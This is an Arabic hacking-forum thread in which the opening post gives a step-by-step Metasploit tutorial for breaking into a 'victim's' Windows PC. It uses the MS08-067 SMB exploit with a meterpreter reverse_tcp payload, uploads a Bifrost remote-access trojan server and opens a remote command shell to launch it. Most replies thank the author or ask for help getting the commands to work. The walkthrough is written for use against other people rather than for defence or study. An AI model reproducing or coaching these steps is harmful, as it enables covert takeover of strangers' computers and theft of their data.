شرح مصور لإختراق جهاز الضحية بالـ MeTa ورفع سيرفر بيفروست

[BLACK.JaGuAr]

http://www.samygames.com/forumim/basmla/68565.gif
http://www.samygames.com/forumim/slam/6867867.gif


تحية لكم ياأعضاء منتديات جيوش الهكرز ،نسأل الله أن تكونوا على خير حال
اليوم راح نشرح بالصور طريقة إختراق جهاز الضحية بإستخدام مشروع الميتا ورفع سيرفر بيفروست على الجهاز
نتابع .....


تم تنفيذ الشرح باستخدام الإصدار التالي metasploit framework gui v3.2-release


نقوم بفتح أداة Metasploit 3 GUI وبعد فتحها نقوم بالضغط علي كلمة window وبعد ذلك علي console


http://www.aljyyosh.com/images/black/1/9.jpg


سوف تنفتح لنا نافذة console نقوم بكتابة الأمر التالي فيها لإستعراض الإكسبلويتات :



show exploits


http://www.aljyyosh.com/images/black/1/905471636.jpg


سوف نقوم بإستخدام إكسبلويت windows/smb/ms08_067_netapi من خلال الأمر التالي :



use windows/smb/ms08_067_netapi


http://www.aljyyosh.com/images/black/1/3.jpg


بعد ذلك نقوم بإستعراض البايلودز من خلال أمر show payloads
ونختار البايلود التالي :



set payload windows/ meterpreter/reverse_tcp


http://www.aljyyosh.com/images/black/1/1.gif


بعد تحديد البايلود المستخدم نقوم باستعراض الخيارات بامر show options ونقوم بتعبئة الخيارات وفقا لما يلي :



set RHOST ip بدل كلمة أي بي نضع أي بي الضحية
set Lhost ip بدل كلمة أي بي نضع أي بي جهازنا


وبعد ذلك نقوم بتطبيق الثغرة بأمر exploit ومن ثم enter


http://www.aljyyosh.com/images/black/1/250713081.jpg

[CENTER]كما نلاحظ فيما يلي تم الإتصال بنجاح مع الجهاز عن طريق port 445

http://www.aljyyosh.com/images/black/1/492187418.jpg


بعد ذلك ولمعرفة الخيارات المتاحة لنا نكتب أمر help ومن خلال الخيارات سنقوم برفع السيرفر ولاكن يجب قبل الرفع أن يتم نقل إلى داخل المجلد التالي :



C:\Program Files\metasploit\Framework3


وسنقوم برفع السيرفر من خلال الأمر التالي :



upload -r server.exe c:\

http://www.aljyyosh.com/images/black/1/550982885.jpg


بعد رفع السيرفر نشغل برنامج الدوس للضحية بالأوامرالتالية:



use -m process
execute -f cmd.exe -c
interact 3


حسب رقم channel أو session المفتوح

http://www.aljyyosh.com/images/black/1/404433404.jpg


لتشغيل السيرفر



start server.exe


وكما توضح الصورة نجاح تحميل السيرفر


http://www.aljyyosh.com/images/black/1/222218096.jpg



http://www.aljyyosh.com/images/black/1/961038112.jpg


شاشة الضحية

http://www.aljyyosh.com/images/black/1/145186928.jpg


نسأل الله أن نكون قد وفقنا في تناول وشرح الموضوع ونأسف على أي تقصير
ودمتم سالمين

[Matrix0]

ماشاءالله يا اخونا كبير الله يعطيك الف عافيه ومايخجلك انشاءالله بلاك جاك دائمان في مقدمه ونفس شي معلمنا اسدالي الله لأ يخجلكون ضد يهود وصقور خكر تقبل مروري يا اخوي كبير ومديرنا عزيز بلاك جاك http://gallery.sendbad.net/data/media/244/Matrix-XP.jpg

[batmalpha]

جزاك الله خيرا

[batmalpha]

أخي نسبت ميتاسبلوات لكن لا أرى gui3 metasploit فما ألعمل شكرا لكم جميعا [email protected]

[rahimdvd]

السلام عليكم اخي العزير لقد قمت بتحميل الميتا وطبقت حرفيا ما جاء عندكم لكن للاسف الاوامر ماتتمشى معي مش عارف ليش وماهو السبب بدايه بلامر .use windows/smb/ms08_067_netapi يجني هذا المسج msf exploit(ms08_067_netapi) > واما الامر set payload windows/ meterpreter/reverse_tcp

[rahimdvd]

يجيبلي ميساج msf > set payload windows/ meterpreter/reverse_tcp
[-] The value specified for payload is not valid.
اتمنى ان تبين لي وين المشكل لقد حاولت اكثر من 50 محاوله ارجو ان تاخذ ردي بعين الاعتبار وجعلك الله ذخرا لجيوش الهاكر

[Mr ! Hack]

السلام عليكم اخي العزير لقد قمت بتحميل الميتا وطبقت حرفيا ما جاء عندكم لكن للاسف الاوامر ماتتمشى معي مش عارف ليش وماهو السبب بدايه بلامر .use windows/smb/ms08_067_netapi يجني هذا المسج msf exploit(ms08_067_netapi) > واما الامر set payload windows/ meterpreter/reverse_tcp

mon ami primo exécute ce code : show payloads next: set payload windows/ meterpreter/reverse_tcp puis continut... ton ami MR!Hack:)

[Mr ! Hack]

اخي black.jaguar هل أستطيع تغيير بورت الإتصال من 345 إلي 343 مثلا أو أي بورت آخر ؟؟

[حمدان ابو الروس]

مشكووووووووووووووور

[brhoom123]

مشكوووووووور وجاري التجربة

[brhoom123]

thnxxxxxxxx

[HACKER.S]

مشكور يا اخي
يا rahimdvd اضن ان payload لزم تكتبها PAYLOAD او انك لم تتم بختيار تغرة مناسبة ارجو ان اكون افدتك بشيا
ومرة اخرى اف مشكور يا black

[linda]

مشكوووووووووووووررررررررر ررررررررررر

[hussin123]

اخي شرح كو واضح كلش

[عبدالله الفقي]

مشكور جدا على الرائع

[T!F!NaR]

سلام عليكم
الف شكر ليك الله لا يحرمنا منك

[ابويزيد2010]

اخوي الغالي لو ماقدر افتح بورت بالموديم هلا استطيع استخدم البرنامج وفعلان موضيعك ذوق وفن والله وافيح واصل الله يحفظك

[makaveli]

و الله مبدع يا بلاك مشكوور على الشرح تسلم

[Abdullhadi JC]

مشكوووووووور يالغالي ما قصرت

[Mr.EXIT.]

اخوي ممكن تصوير فيديو ...

[معذب الكامري]

مشكووور على الموضوع

[e . V . E . L]

مشكووووووووووووووووور حبيبي ع الموضوع الرائع ,,,,, دائما تبهرنا بمواضيعك المميزه اخوي بلاآآكــ ......

[الابرز]

مشكوررررررررررررررررررررر رررر

[هاكر بلا حدود]

شكررررررررررررررررااااااا اااااااا

[System 32]

مشكووووووووووور
الله انك كفووووو

[Crypto Seven]

مشكوووووووووووور

[عبدق]

شكرا لك اخي الكريم

[abdo el7dad]

الف شكر وجزاك الله خيرا

[Resident Evil]

آبدااااااااااع بلا حدوود

[tunisiano]

a5i black-jaguar ana lamma aktob show option byetla3li

msf exploit(ms08_067_netapi) > set payload windows/ meterpreter/reverse_tcp
[-] The value specified for payload is not valid.
msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


Exploit target:

Id Name
-- ----
0 Automatic Targeting

shou l 3amal a5iii plzzzzzzzzz

[``-RaWaN-``]

thnx man for this

[Spire_Barde]

شكرا لك يا غالي

[younes_ainsbaa]

شرح مفهوم وواضح شكرًا أخي

[beli]

**))السلام ((**
شكررا لك أخي على كل جهودك
ارجوا لك المزيد من التوفيق

[wido046]

how do you know the victim's IP

[V!RUS TROJAN]

يعطيك العافيه يا بلاك والله ما تقصر تحياتي لك وبتوفيق

[محمد انس]

شكراااااااااااااااااااااا كتير اوى اوى

[moghazynada]

مشكوووورررررررررررررررررر ررررررررررررررررررررررررر ررر

[HaCkeRz3_____ AaLlGEEr!Ia]

مشطور و جاري التجربة

[mr.top]

مبددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد ددددددددددددددددددددددددد دددددددددددددددددددددع

[sunlight]

شكرا لك وبارك الله فيك
مجهود رائع واصل ابداعك
وبالتوفيق لك ان شاءالله .

[bibs07]

مشكورررررررررررر

[hacking man]

مشكووووووووووووووووووووور

[السيابي]

مشكووووور اخي على المجهود و تقبل مروري

[هكر الديوانيه]

مشكوووووووور حب

[الخانس]

مشكووووووووووووووور

[Vet Fox]

الكبير كبير

تحياتى

[a-ps]

يعطيك العافيه ياقمر

على الشرح الجميل

[RAKON 2500]

thnxxxxxxxxxxxxxx

[XMP_01]

facebook / karimos no

[Tha End]

مشكور الف شكر واشاء الله نتعلم من اكثر

[ahmad555]

lthank u my teacher

[ahmad555]

مشكور الف شكر واشاء الله نتعلم من اكثر

[Omar Hack]

بارك الله فيك أخي الكريم
و جزاك الله خيراً
تقبل مروري

[the black cat]

شرح مصور لإختراق جهاز الضحية ببرنامجProRat_v1-9

[forever2010]

مبدع بارك الله بك تقبل مروري

[الدكتاتوري]

مشكوور يالغااالي ماتقصر

[sdsd06]

مشكور بس طبقت جميع الخطوات و للاسف ما وصلت نسخة الميتا عندي الاصدار 4.0.0

[sdsd06]

ارجوكم جد يفهمني فين الخطاء يا عباقرة المنتدي

[sdsd06]

يا اخواني تعبت من كثرة البحث و وجدت الشرح هنا وافي جدا بس ما بيحقق اتصال معي بجهاز الضحية مع العلم اني اقوم بتنفيذ الخطوات كما هيا بالضبط ارجو الرد سريعا

[trojansim]

جزاك الله خيرا

[samilakehal]

الله يعطيك العافية

[ahmed5689]

مشكووووووووووووور
والطريقه شغاله 100%
بس انا بعمل الامر help
مبيجيليش upload خالص
ارجو حل للمشكله مع العلم اني بستخدم البرنامج علي windows 7

[صمتى شموخ]

مشكور على الشرح

[itech_dz]

بارك الله فيك ................. يا عبقري ................. الله يوفقك

[ossama123]

جزاك الله خيرا

[عادل سعد محمد]

جميلللللللللللللللللللللل للللللللللللللللللللللللل للللللللللللللللللللللللل للللللللللللللللللللللللل للللللللللللللللللللللللل للللللللللل

[عراقي الهوا]

مشكوووووووور وجاري التجربة

[aymen cyril kamar]

مشكور على الجهد

[hymoo hkrz]

مشكووووووررررر^_^

[amational.tn]

السلام
و الله راائع لم أكن أتصور أن الميتاسبلويت بهذه القدرات

[سيكا2000]

مشكور وجارى التجربه

[DEVil-X]

الـــــــــــــــــــــــ ــــــف شكر اخي على الموضوع الرائع والشرح الوافي بس انا عندي سال صغير انت شارح انو بس اخترق الجهاز المستهدف اذا بدي ارفع الباتش بنقله اول للمسار C:\Program Files\metasploit\Framework3 طيب اخي بالنسبه لمستخدمي ميتاسبلوت الموجود في الباك تراك ايش المسار الذي يجب نقل الباتش اليه يا ريت تجاوبني على سؤالي؟؟

[MǿĐŷ-Ẍ]

سُبْحَانَكَ اللَّهُمَّ وبَحَمْدكَ أشْهدُ أنْ لا إلهَ إلا أنْتَ أَسْتَغْفِرُكَ وأتُوبُ إِلَيْكَ
سُبْحَانَكَ اللَّهُمَّ وبَحَمْدكَ أشْهدُ أنْ لا إلهَ إلا أنْتَ أَسْتَغْفِرُكَ وأتُوبُ إِلَيْكَ
سُبْحَانَكَ اللَّهُمَّ وبَحَمْدكَ أشْهدُ أنْ لا إلهَ إلا أنْتَ أَسْتَغْفِرُكَ وأتُوبُ إِلَيْكَ
سُبْحَانَكَ اللَّهُمَّ وبَحَمْدكَ أشْهدُ أنْ لا إلهَ إلا أنْتَ أَسْتَغْفِرُكَ وأتُوبُ إِلَيْكَ
سُبْحَانَكَ اللَّهُمَّ وبَحَمْدكَ أشْهدُ أنْ لا إلهَ إلا أنْتَ أَسْتَغْفِرُكَ وأتُوبُ إِلَيْكَ
سُبْحَانَكَ اللَّهُمَّ وبَحَمْدكَ أشْهدُ أنْ لا إلهَ إلا أنْتَ أَسْتَغْفِرُكَ وأتُوبُ إِلَيْكَ
Email : [email protected]

http://www.youtube.com/watch?v=2LyEnyAh-xU&feature=plcp

[sezdf]

جزاك الله خيرا

[صدى الجبال]

مشكور أخي:)

[Hack It Now]

جزاك الله خيرا

[beli]

مشكور اخي على جهودك

[sarahassan]

عاشت الايادي

[سارة الغامدي]

يسلمؤؤؤؤ..

[rami mcee]

مشكوووووووور وجاري التجربة
;)